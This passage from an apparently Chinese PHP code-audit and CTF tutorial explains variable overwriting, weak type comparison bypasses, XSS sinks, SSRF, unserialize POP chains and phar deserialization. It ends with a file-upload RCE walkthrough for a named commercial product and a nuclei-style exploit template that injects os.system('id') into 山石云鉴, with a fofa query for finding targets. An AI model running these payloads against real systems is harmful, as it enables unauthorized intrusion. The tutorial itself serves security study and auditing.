  • prefix:可选。如果 extract_rules 参数的值是 EXTR_PREFIX_SAME、EXTR_PREFIX_ALL、 EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS,则 prefix 是必需的。
  • +
+

代码示例:

+
<?php
$color = "blue";
$one_array = array("color" => "red",
"size" => "medium",
"name" => "dog");
extract($one_array);
echo "$color, $size, $name";
?>

执行结果——>
red, medium, dog
+

在上述代码中,我们看到,本来我们定义的color是blue,输出的时候变成了red,本来我们没有定义size和name,可是却能输出这两个变量。

+

还有一些在CTF比赛中出现过的用法,比如直接让你POST传参来改变某个变量的值。

+

代码示例:

+
<?php
$name = 'cat';
extract($_POST);
echo $name;
?>
+

参时如果我们POST传入name=dog,那么页面将会回显dog,说明这个函数的使用让我们实现了变量的覆盖,改变了变量的值。

+

parse_str()​

+

此函数把查询到的字符串解析到变量中。

+
parse_str(string,array)
+
参数​
+
    +
  • string:必需。规定要解析的字符串。
  • +
  • array:可选。规定存储变量的数组名称。该参数只是变量存储到数组中。
  • +
+

代码示例:

+
<?php
parse_str("name=Ameng&sex=boy",$a);
print_r($a);
?>

执行结果——>
Array
(
[name] => Ameng
[sex] => boy
)
+

上述代码是有array情况下的使用情况,那么如何实现变量的覆盖呢?如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

+

代码示例:

+
<?php
$name = 'who';
$age = '20';
parse_str("name=Ameng&age=21");
echo "$name, $age";
?>

执行结果——>
Ameng,
+

通过上述代码,我们可以发现,变量name和age都发生了变化,被新的值覆盖了。这里我用的是 PHP 7.4.3 版本。发现这个函数的这个作用还是存在的,且没有任何危险提示。

+

import_request_variables()​

+

此函数将GET/POST/Cookie变量导入到全局作用域中。从而能够达到变量覆盖的作用。

+

版本要求:PHP 4 >= 4.1.0, PHP 5 < 5.4.

+
bool import_request_variables ( string $types [, string $prefix ] )
+
参数​
+
    +
  • types:指定需要导入的变量,可以用字母 G、P 和 C 分别表示 GET、POST 和 Cookie,这些字母不区分大小写,所以你可以使用 g 、 p 和 c 的任何组合。POST 包含了通过 POST 方法上传的文件信息。注意这些字母的顺序,当使用 gp 时,POST 变量将使用相同的名字覆盖 GET 变量。
  • +
  • prefix:变量名的前缀,置于所有被导入到全局作用域的变量之前。所以如果你有个名为 userid 的 GET 变量,同时提供了 pref_ 作为前缀,那么你将获得一个名为 $pref_userid 的全局变量。虽然 prefix 参数是可选的,但如果不指定前缀,或者指定一个空字符串作为前缀,你将获得一个 E_NOTICE 级别的错误。
  • +
+

代码示例:

+
<?php
$name = 'who';
import_request_variables('gp');
if($name == 'Ameng'){
echo $name;
}
else{
echo 'You are not Ameng';
}
?>
+

如果什么变量也不传,那么页面将回显You are not Ameng如果通过GET或者POST传入name=Ameng那么页面就会回显Ameng

+

可以见到此函数还是很危险的,没有修复方法,不使用就是最好的方法。所以在新版本的 PHP 中已经废弃了这个函数。

+

foreach()​

+

foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:

+
foreach (array_expression as $value)
statement
foreach (array_expression as $key => $value)
statement
+

第一种格式遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元)。

+

第二种格式做同样的事,只是除了当前单元的键名也会在每次循环中被赋给变量 $key。

+

那么这个函数如何实现变量的覆盖呢?我们来看个案例.

+

代码示例:

+
<?php
$name = 'who';
foreach($_GET as $key => $value) {
$$key = $value;
}
if($name == "Ameng"){
echo 'You are right!';
}
else{
echo 'You are flase!';
}
?>
+

那么执行结果是怎样的呢?当我们直接打开页面的时候它会输出You are false!,而当我们通过GET传参name=Ameng的时候,它会回显You are right!。那么这是为什么呢?我们来分析一下

+

关键点就在于$$这种写法。这种写法称为可变变量。一个变量能够获取一个普通变量的值作为这个可变变量的变量名。当使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。这样就产生了变量覆盖漏洞,如上代码示例。其执行过程为$$key=$name,最后赋值为$value,从而实现了变量覆盖。

+

弱类型比较​

+

md5()函数和sha1()绕过​

+

关于这两个函数想必我们不陌生,无论是在实际代码审计中,还是在CTF比赛中,这些我们都是碰到过的函数。那么当我们遇到用这两个函数来判断的时候,如果绕过呢?

+

PHP 在处理哈希字符串的时候,会使用!=或者==来对哈希值进行比较,它会把每一个0E开头的哈希值都解释为0,那么这个时候问题就来了,如果两个不同的值,经过哈希以后它们都变成了0E开头的哈希值,那么 PHP 就会将它们视作相等处理。那么0E开头的哈希值有哪些呢?

+
s878926199a
0e5459932745177090343288558410s155964671a
0e3427684168224515249741172544s214587387a
0e8482404488305379244658656119s214587387a
0e8482404488305379244658656119s878926199a
0e5459932745177090343288558410s1091221200a
0e9406242178565615578163273846s1885207154a
0e5093672134182067008420087635s1502113478a
0e8615801632915612474043813960s1885207154a
0e5093672134182067008420087635s1836677006a
0e4810364908676611132600349007s155964671a
0e3427684168224515249741172544s1184209335a
0e0724858203927733895231090820s1665632922a
0e7311980614911630731971283637s1502113478a
0e8615801632915612474043813960s1836677006a
0e4810364908676611132600349007s1091221200a
0e9406242178565615578163273846s155964671a
0e3427684168224515249741172544s1502113478a
0e8615801632915612474043813960s155964671a
0e3427684168224515249741172544s1665632922a
0e7311980614911630731971283637s155964671a
0e3427684168224515249741172544s1091221200a
0e9406242178565615578163273846s1836677006a
0e4810364908676611132600349007s1885207154a
0e5093672134182067008420087635s532378020a
0e2204630958555115075880412058s878926199a
0e5459932745177090343288558410s1091221200a
0e9406242178565615578163273846s214587387a
0e8482404488305379244658656119s1502113478a
0e8615801632915612474043813960s1091221200a
0e9406242178565615578163273846s1665632922a
0e7311980614911630731971283637s1885207154a
0e5093672134182067008420087635s1836677006a
0e4810364908676611132600349007s1665632922a
0e7311980614911630731971283637s878926199a
0e5459932745177090343288558410
+

来个简单的例子吧

+

代码示例:

+
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
echo '这就是弱类型绕过';
}
else{
echo '再思考一下';
}
?>
+

从上面我给出的哪些值中,挑两个不同的值传入参数,就能看到相应的结果

+

上面是md5()函数的绕过姿势,那么sha1()如何绕过呢?再来看一个简单的例子

+
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a,$b)){
if(sha1($a) === sha1($b)){
echo 'nice!!!';
}
else{
echo 'Try again!';
}
}
?>
+

当我们传入a[]=1&b[]=2的时候,虽然它会给出警告,说我们应该传入字符串而不应该是数组,但是它还是输出了nice!!!,所以我们完全可以用数字来绕过sha1()函数的比较。

+

is_numeric()绕过​

+

我们先来了解一下这个函数。此函数是检测变量是否为数字或者数字字符串

+
is_numeric( mixed $var) : bool
+

如果var是数字或者数字字符串那么就返回TRUE,否则就返回FALSE。那么这里说的绕过是什么姿势呢?是十六进制。我们先来看一个简单的例子。

+

代码示例:

+
<?php
$a = is_numeric('0x31206f722031');
if($a){
echo 'It meets my requirement';
}
else{
echo 'Try again';
}
?>
执行结果——>
It meets my requirement
+

这里说一下0x31206f722031这个是什么?这个是or 1=1的十六进制,从这里可以看出,如果某处使用了此函数,并将修饰后的变量带入数据库查询语句中,那么我们就能利用此漏洞实现sql注入。同样的,这个漏洞再CTF比赛中也是很常见的。

+

in_array()绕过​

+

此函数用来检测数组中是否存在某个值。

+
in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) : bool
+
参数​
+
    +
  • needle:带搜索的值(区分大小写)。
  • +
  • haystack:带搜索的数组。
  • +
  • strict:若此参数的值为TRUE,那么in_array()函数将会检查needle的类型是否和haystack中的类型相同。
  • +
+

有时候我们再传入一个数组的时候,代码可能会过滤某些敏感字符串,但是我们又需要传入这样的字符串,那么我们应该如何绕过它的检测呢?

+
<?php
$myarr = array('Ameng');
$needle = 0;
if(in_array($needle,$myarr)){
echo "It's in array";
}
else{
echo "not in array";
}
?>
+

上面代码示例执行的结果会是什么呢?从简单的逻辑上分析。0是不存在要搜索的数组中的,所以理论上,应该是输出not in array,但是实际却输出了It's in array。这是为什么呢?原因就在于PHP的默认类型转换。这里我们第三个参数并没有设置为true那么默认就是非严格比较,所以在数字与字符串进行比较时,字符串先被强制转换成数字,然后再进行比较。并且因为某些类型转换正在发生,就会导致发生数据丢失,并且都被视为相同。所以归根到底还是非严格比较导致的问题。所以再遇到这个函数用来变量检测的时候,我们可以看看第三个参数是否开启,若未开启,则存在数组绕过。

+

XSS​

+

在这里首先你要对XSS的基本原理要知道。PHP中一下这些函数之所以会出现XSS的漏洞情况,主要还是没有对输出的变量进行过滤。

+

print()​

+

代码示例:

+
<?php
$str = $_GET['x'];
print($str);
?>
+

img

+ +

代码示例:

+
<?php
$str = $_GET['x'];
print_r($str);
?>
+

img

+

echo()​

+

代码示例:

+
<?php
$str = $_GET['x'];
echo "$str";
?>
+

我们传入相应参数,执行结果如下:

+

img

+

printf()​

+

代码示例:

+
<?php
$str = $_GET['x'];
printf($str);
?>
+

执行结果和上面相同,我就不再贴图片了。

+

sprintf()​

+

代码示例:

+
<?php
$str = $_GET['x'];
$a = sprintf($str);
echo "$a";
?>
+

die()​

+

此函数输出一条信息,并退出当前脚本。

+

代码示例:

+
<?php
$str = $_GET['x'];
die($str);
?>
+

var_dump()​

+

此函数打印变量的相关信息,用来显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开之,通过缩进显示其结构。

+

代码示例:

+
<?php
$str = $_GET['x'];
$a = array($str);
var_dump($a);
?>
+

var_export()​

+

此函数输出或者返回一个变量的字符串表示。它返回关于传递给该函数的变量的结构信息,和var_dump类似,不同的是其返回的表示是合法的 PHP 代码。

+

代码示例:

+
<?php
$str = $_GET['x'];
$a = array($str);
var_export($a);
?>
+

img

+

PHP黑魔法​

+

这里大部分函数的使用已经在上面详细介绍过了,这里我就针对每一种函数大概介绍一下其主要存在的利用方法。

+

md5()​

+

md5()函数绕过sql注入。我们来看一个例子。

+

代码示例:

+
$password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}
+

这里提交的参数通过md5函数处理,然后再进入SQL查询语句,所以常规的注入手段就不行了,那么如果md5后的转换成字符串格式变成了'or'xxxx的格式,不就可以注入了么。md5(ffifdyop,32) = 276f722736c95d99e921722cf9ed621c

+

转成字符串为'or'6xxx

+

eval()​

+

在执行命令时,可使用分号构造处多条语句。类似这种。

+
<?php
$cmd = "echo 'a';echo '--------------';echo 'b';";
echo eval($cmd);
?>
+

ereg()​

+

存在%00截断,当遇到使用此函数来进行正则匹配时,我们可以用%00来截断正则匹配,从而绕过正则。

+

strcmp()​

+

这个在前面介绍过,就是数组绕过技巧。

+

curl_setopt()​

+

存在ssrf漏洞。

+

代码示例:

+
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['Ameng']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
?>
+

使用file协议进行任意文件读取

+

img

+

除此之外还有dict协议查看端口信息。gopher协议反弹shell利用等。

+

preg_replace()​

+

此函数前面详细介绍过,/e模式下的命令执行。

+

urldecode()​

+

url二次编码绕过。

+

代码示例:

+
<?php
$name = urldecode($_GET['name']);
if($name = "Ameng"){
echo "Plase~";
}
else{
echo "sorry";
}
?>
+

将Ameng进行二次url编码,然后传入即可得到满足条件。

+

file_get_contents()​

+

常用伪协议来进行绕过。

+

parse_url()​

+

此函数主要用于绕过某些过滤,先简单了解一下函数的基本用法。

+

代码示例:

+
<?php
$url = "http://www.jlx-love.com/about";
$parts = parse_url($url);
print_r($parts);
?>

执行结果——>
Array
(
[scheme] => http
[host] => www.jlx-love.com [path] => /about
)
+

可以看到这个函数把我们的变量值拆分成一个几个部分。那么绕过过滤又是说的哪回事呢?其实就是当我们在浏览器输入url时,那么就会将url中的\转换为/,从而就会导致parse_url的白名单绕过。

+

反序列化漏洞​

+

简介​

+

在了解一些函数之前,我们首先需要了解什么是序列化和反序列化。

+

序列化:把对象转换为字节序列的过程成为对象的序列化。

+

反序列化:把字节序列恢复为对象的过程称为对象的反序列化。

+

归根到底,就是将数据转化成一种可逆的数据结构,逆向的过程就是反序列化。

+

在 PHP 中主要就是通过serialize和unserialize来实现数据的序列化和反序列化。

+

那么漏洞是如何形成的呢?

+

PHP 的反序列化漏洞主要是因为未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化的过程,从而就可以导致各种危险行为。

+

那么我们先来看一看序列化后的数据格式是怎样的,了解了序列化后的数据,我们才能更好的理解和利用漏洞。所以我们来构造一段序列化的值。

+

代码示例:

+
<?php
class Ameng{
public $who = "Ameng";
}
$a = serialize(new Ameng);
echo $a;
?>
执行结果——>
O:5:"Ameng":1:{s:3:"who";s:5:"Ameng";}
+

img

+

这里还要补充一点,就是关于变量的分类,变量的类别有三种:

+
    +
  • public:正常操作,在反序列化时原型就行。
  • +
  • protected:反序列化时在变量名前加上%00*%00。
  • +
  • private:反序列化时在变量名前加上%00类名%00。
  • +
+

序列化我们知道了是个什么格式,那么如何利用反序列化来触发漏洞进行利用呢?

+

__wakeup()​

+

在我们反序列化时,会先检查类中是否存在__wakeup()如果存在,则执行。但是如果对象属性个数的值大于真实的属性个数时就会跳过__wakeup()执行__destruct()。

+

影响版本:

+

PHP5 < 5.6. +PHP7 < 7.0. +代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name='1.php';

function __destruct(){
echo "destruct执行<br>";

echo highlight_file($this->name, true);
}


function __wakeup(){
echo "wakeup执行<br>";
$this->name='1.php';
}
}
$data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}';
unserialize($data);
?>
+

执行结果:

+

img

+

__sleep()​

+

__sleep()函数刚好与__waeup()相反,前者是在序列化一个对象时被调用,后者是在反序列化时被调用。那么该如何利用呢?我们看看代码。

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name='1.php';

public function __construct($name){
$this->name=$name;
}

function __sleep(){
echo "sleep()执行<br>";
echo highlight_file($this->name, true);
}

function __destruct(){
echo "over<br>";
}

function __wakeup(){
echo "wakeup执行<br>";
}
}
$a = new Ameng("2.php");
$b = serialize($a);
?>
+

执行结果:

+

img

+

__destruct()​

+

这个函数的作用其实在上面的例子中已经显示了,就是在对象被销毁时调用,倘若这个函数中有命令执行之类的功能,我们完全可以利用这一点来进行漏洞的利用,得到自己想要的结果。

+

__construct()​

+

这个函数的作用在__sleep()也是体现了的,这个函数就是在一个对象被创建时会调用这个函数,比如我在__sleep()中用这个函数来对变量进行赋值。

+

__call()​

+

此函数用来监视一个对象中的其他方法。当你尝试调用一个对象中不存在的或者被权限控制的方法,那么__call就会被自动调用

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{

public function __call($name,$args){
echo "<br>"."call执行失败";
}

public static function __callStatic($name,$args){
echo "<br>"."callStatic执行失败";
}
}
$a = new Ameng;
$a->b();
Ameng::b();
?>
+

执行结果:

+

img

+

__callStatic()​

+

这个方法是 PHP5.3 增加的新方法。主要是调用不可见的静态方法时会自动调用。具体使用在上面代码示例和结果可见。那么这两个函数有什么值得我们关注的呢?想一想,倘若这两个函数中有命令执行的函数,那么我们调用对象中不存在方法时就可以调用这两个函数,这不就达到我们想要的目的了。

+

__get()​

+

一般来说,我们总是把类的属性定义为private。但有时候我们对属性的读取和赋值是非常频繁,这个时候PHP就提供了两个函数来获取和赋值类中的属性。

+

get方法用来获取私有成员属性的值。

+

代码示例:

+
//__get()方法用来获取私有属性
public function __get($name){
return $this->$name;
}
+
参数​
+
    +
  • $name:要获取成员属性的名称。
  • +
+

__set()​

+

此方法用来给私有成员属性赋值。

+

代码示例:

+
//__set()方法用来设置私有属性
public function __set($name,$value){
$this->$name = $value;
}
+
参数​
+
    +
  • $name:要赋值的属性名。
  • +
  • $value:给属性赋值的值。
  • +
+

__isset()​

+

这个函数是当我们对不可访问属性调用isset()或者empty()时调用。

+

在这之前我们要先了解一下isset()函数的使用。isset()函数检测某个变量是否被设置了。所以这个时候问题就来了,如果我们使用这个函数去检测对象里面的成员是否设定,那么会发生什么呢?

+

若对象的成员是公有成员,那没什么问题。倘若对象的成员是私有成员,那这个函数就不行了,人家根本就不允许你访问,你咋能检测人家是否设定了呢?那我们该怎么办?这个时候我们可以在类里面加上__isset()方法,接下来就可以使用isset()在对象外面访问对象里面的私有成员了。

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
private $name;

public function __construct($name=""){
$this->name = $name;
}

public function __isset($content){
echo "当在类外面调用isset方法时,那么我就会执行!"."<br>";
echo isset($this->$content);
}
}
$ameng = new Ameng("Ameng");
echo isset($ameng->name);
?>
+

执行结果:

+

img

+

__unset()​

+

这个方法基本和__insset情况一致,都是在类外访问类内私有成员时要调用这个函数,基本调用的方法和上面一致。

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
private $name;

public function __construct($name=""){
$this->name = $name;
}

public function __unset($content){
echo "当在类外面调用unset方法时,那么我就会执行!"."<br>";
echo isset($this->$content);
}
}
$ameng = new Ameng("Ameng");
unset($ameng->name);
?>
+

执行结果:

+

img

+

__toString()​

+

此函数是将一个对象当作一个字符串来使用时,就会自动调用该方法,且在该方法中,可以返回一定的字符串,来表示该对象转换为字符串之后的结果。

+

通常情况下,我们访问类的属性的时候都是$实例化名称->属性名这样的格式去访问,但是我们不能直接echo去输出对象,可是当我们使用__tostring()就可以直接用echo来输出了。

+

代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name;
private $age;
function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function __toString(){
return $this->name . $this->age . '岁了';
}
}
$ameng = new Ameng('Ameng',3);
echo $ameng;
?>
+

执行结果:

+
Ameng3岁了
+

__invoke()​

+

当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。

+

版本要求:

+

PHP > 5.3. +代码示例:

+
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name;
private $age;
function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function __invoke(){
echo '你用调用函数的方式调用了这个对象,所以我起作用了';
}
}
$ameng = new Ameng('Ameng',3);
$ameng();
?>
执行结果——>
你用调用函数的方式调用了这个对象,所以我起作用
+

pop链的构造​

+

思路​

+
    +
  1. 寻找位点(unserialize函数—>变量可控)
  2. +
  3. 正向构造(各种方法)
  4. +
  5. 反向推理(从要完成的目的出发,反向推理,最后找到最先被调用的位置处)
  6. +
+

来看一个简单的例子(HECTF):

+
<?php
class Read {
public $var;
public $token;
public $token_flag;
public function __construct() {
$this->token_flag = $this->token = md5(rand(1,10000));
$this->token =&$this->token_flag;
}
public function __invoke(){
$this->token_flag = md5(rand(1,10000));

if($this->token === $this->token_flag)
{
echo "flag{**********}";
}
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
echo $this->source."<br>";
}

public function __toString()
{
$this->str['str']->source;
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}

class Test
{
public $params;
public function __construct()
{
$this->params = array();
}

public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
+

我们要拿到flag,在__invoke()函数,当对象被当作函数调用时,那么就会自动执行该函数。所以我们要做的就是用函数来调用对象。

+

那么我们首先找到起点,就是unserialize函数的变量,因为这个变量是我们可控的,但是肯定是过滤了一些常见的协议,那些协议我在上面也简单介绍过用法。

+

通过函数的过程搜索,我们能够看到preg_match第二个参数会被当作字符串处理,在类Test中,我们可以给$func赋值给Read对象。

+

那么我们可以构造如下pop链

+
<?php 
··········
$read = new Read();
$show = new Show();
$test = new Test();

$read->token = &$read->token_flag;
$test->params = $read;
$show->str['str'] = $test;
$show->source = $show;
echo serialize($show);
?>
+

给个图总结一下:

+

img

+

phar与反序列化​

+
简介​
+

PHAR("PHP archive")是PHP里类似JAR的一种打包文件,在PHP > 5.3版本中默认开启。其实就是用来打包程序的。

+
文件结构​
+
    +
  1. +

    a stub:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,后面必须以__HALT_COMPILER();?>结尾,否则phar扩展无法将该文件识别为phar文件。

    +
  2. +
  3. +

    官方手册

    +

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

    +
  4. +
+

img

+
实验​
+

前提:将php.ini中的phar.readonly选项设置为off,不然无法生成phar文件。

+
phar.php:​
+
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='Hello I am Ameng';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
+

在我们访问之后,会在当前目录下生成一个phar.phar文件,如下图所示。

+

img

+

然后查看文件的十六进制形式,我们就可以看到meta-data是以序列化的形式存储。既然存在序列化的数据,那肯定有序列化的逆向操作反序列化。那么这里在PHP中存在很多通过phar://伪协议解析phar文件时,会将meta-data进行反序列化。可用函数如下图

+

img

+
Ameng.php​
+
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
+

执行结果:

+

img

+

这里简单介绍一下phar的大致应用,更详细可以参考seebug (opens new window)。

+

其他一些总结​

+

basename()​

+

此函数返回路径中的文件名的一部分(后面)

+
basename(path,suffix)
+
参数​
+
    +
  • path:必需。规定要检查的路径。
  • +
  • suffix:可选。规定文件的扩展名。
  • +
+

代码示例:

+
<?php
$path = "index.php/test.php";
echo basename($path);
?>

执行结果——>
test.php
+

此函数还有一个特点,就是会去掉文件名的非ASCII码值。

+

代码示例:

+
<?php
$path = $_GET['x'];
print_r(basename($path));
?>
+

我们通过 url 传入参数x=index.php/config.php/%ff

+

结果如下:

+

img

+

我们看到,%ff直接没了,而是直接输出前面的的文件名,这个可以用来绕过一些正则匹配。原因就在于%ff在通过 url 传参时会被 url 解码,解码成了不可见字符,满足了basename函数对文件名的非ASCII值去除的特点,从而被删掉。

+

实战项目​

+

任子行网络安全审计系统(PHP)​

+

寻找关键函数 move_uploaded_file

+

image-20240910171850890

+

提取部分代码进行分析

+
if($get_url_param == 'aaa_local_web_preview'){
if($_GET['name']!=null) $filename = formatget($_GET['name']);
if($_GET['suffix']!=null) $suffix = formatget($_GET['suffix']);
if($_GET['webTitle']!=null) $webTitle = formatget($_GET['webTitle']);
if($_GET['wcmWord']!=null) $wcmWord = formatget($_GET['wcmWord']);
if($_GET['titleOnly']!=null) $titleOnly = formatget($_GET['titleOnly']);

if($_GET['read']!=null) $read = formatget($_GET['read']);
$read = ($read)?$read:0;

$webTitle = ($webTitle)?$webTitle:"";
$wcmWord = ($wcmWord)?$wcmWord:"";

$webTitle = utf8format($webTitle);
$wcmWord = utf8format($wcmWord);

//已经预览过,不再进行上传图片动作,且不删除tmpPic文件
if(!$read){
if((!file_exists('/usr/local/webui/auth/images/tmpPic.jpg'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.jpg'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.png'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.jpeg'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic.gif'))&&(!file_exists('/usr/local/webui/auth/images/tmpPic'))){
move_uploaded_file($_FILES[$filename]["tmp_name"],'/usr/local/webui/auth/images/tmpPic'.$suffix);
$preview_tip = '上传文件过大,建议小于'.$size.'MB';
if(filesize('/usr/local/webui/auth/images/tmpPic'.$suffix)>$bytesize){
unlink('/usr/local/webui/auth/images/tmpPic'.$suffix);
echo "{";
echo "tip: '" . $preview_tip . "',\n";
echo "msg: '" . $msg . "'\n";
echo "}";
return;
}
}else{
move_uploaded_file($_FILES[$filename]["tmp_name"],'/usr/local/webui/auth/images/test'.$suffix);
$preview_tip = '上传文件过大,建议小于'.$size.'MB';
if(filesize('/usr/local/webui/auth/images/test'.$suffix)>$bytesize){
echo "{";
echo "tip: '" . $preview_tip . "',\n";
echo "msg: '" . $msg . "'\n";
echo "}";
return;
}else{
unlink('/usr/local/webui/auth/images/tmpPic.jpg');
unlink('/usr/local/webui/auth/images/tmpPic.png');
unlink('/usr/local/webui/auth/images/tmpPic.gif');
unlink('/usr/local/webui/auth/images/tmpPic.jpeg');
unlink('/usr/local/webui/auth/images/tmpPic');
rename('/usr/local/webui/auth/images/test'.$suffix,'/usr/local/webui/auth/images/tmpPic'.$suffix);
}
}

}


$tmpPage = file_get_contents('/usr/local/webui/auth/index_template.html',true);

if($suffix == "milo"){
$newName = "main.jpg";
}else{
$newName = 'tmpPic'.$suffix;
}

//换

//取消按钮作用
$tmpPage = str_replace('onclick', '',$tmpPage);
//$tmpPage = str_replace('button', 'but',$tmpPage);
$tmpPage = str_replace('function form_submit()', 'function form_fail()',$tmpPage);
$tmpPage = str_replace('javascript:login_out();', 'javascript:;',$tmpPage);
$tmpPage = str_replace('auth_changepwd.html?weburl=', '',$tmpPage);
$tmpPage = str_replace('{title}', $webTitle,$tmpPage);
$tmpPage = str_replace('{wcmWord}', $wcmWord,$tmpPage);
$tmpPage = str_replace('main.jpg', $newName,$tmpPage);

file_put_contents('/usr/local/webui/auth/preview.html',$tmpPage);

$new = $filename;
$msg = "success";

echo "{";
echo "error: '" . $new . "',\n";
echo "msg: '" . $msg . "'\n";
echo "}";
return;
}

+

发现危险位置move_uploaded_file该逻辑里存在两个,第一个发现是需要存在的才能进入其中,所以直接看第二个即可

+

image-20240910172055291

+

向上找寻$suffix 参数,发现是通过GET传入,且进入formatget函数

+

image-20240910172352684

+

查询formatget函数存在两个用法,但这两个函数你会发现是一致的

+

image-20240910172435968

+

image-20240910172515067

+

htmlspecialchars为将字符串转换为HTML编码,返回一个去掉反斜杠的字符串。stripslashes识别类似 C 的 \n、\r ...、八进制和十六进制表示形式。均无伤大雅。也就是是说suffix作为名称拼接到文件名上并未做任何过滤。

+

image-20240910172828260

+

于是我们构造一下请求包,并发生请求包即可上传文件

+

image-20240910173034048

+

访问上传地址即可RCE

+

image-20240910173256273

+

山石云鉴主机安全管理系统(PHP、Python)​

+
+

山石云鉴主机安全管理系统存在前台命令执行漏洞,攻击者可以在没有登录的情况下执行执行系统命令,单只能通过文件查看回显。

+
+
id: hillstonenet-yunjian-rce2

info:
name: 山石云鉴主机安全管理系统前台命令执行漏洞2
author: b1ak2
severity: critical
description: |
山石云鉴主机安全管理系统存在前台命令执行漏洞,攻击者可以在没有登录的情况下执行执行系统命令,单只能通过文件查看回显。
reference:
- https://github.com/wy876/POC/blob/8e6d282d2616c5d5296e698f16bdcae2462ebe5c/%E5%B1%B1%E7%9F%B3%E7%BD%91%E7%A7%91%E4%BA%91%E9%89%B4%E5%AD%98%E5%9C%A8%E5%89%8D%E5%8F%B0%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
metadata:
fofa-query: body="山石云鉴主机安全管理系统"
tags: hillstonenet,rce

http:
- raw:
- |
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=emhpeXVhbg;
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

- |
GET /master/ajaxActions/getMessageSettingAction.php?token_csrf={{token_csrf}}&company_uuid=aaa&platform_sel=os.system("id+>+/opt/var/majorsec/installation/master/runtime/img/config") HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=emhpeXVhbg;
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close


- |
GET /master/img/config HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=gs8bl1b288ummccm9n3ub4g323
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

extractors:
# 正则匹配,提取整个匹配到的值
- type: regex
name: token_csrf
part: body_1
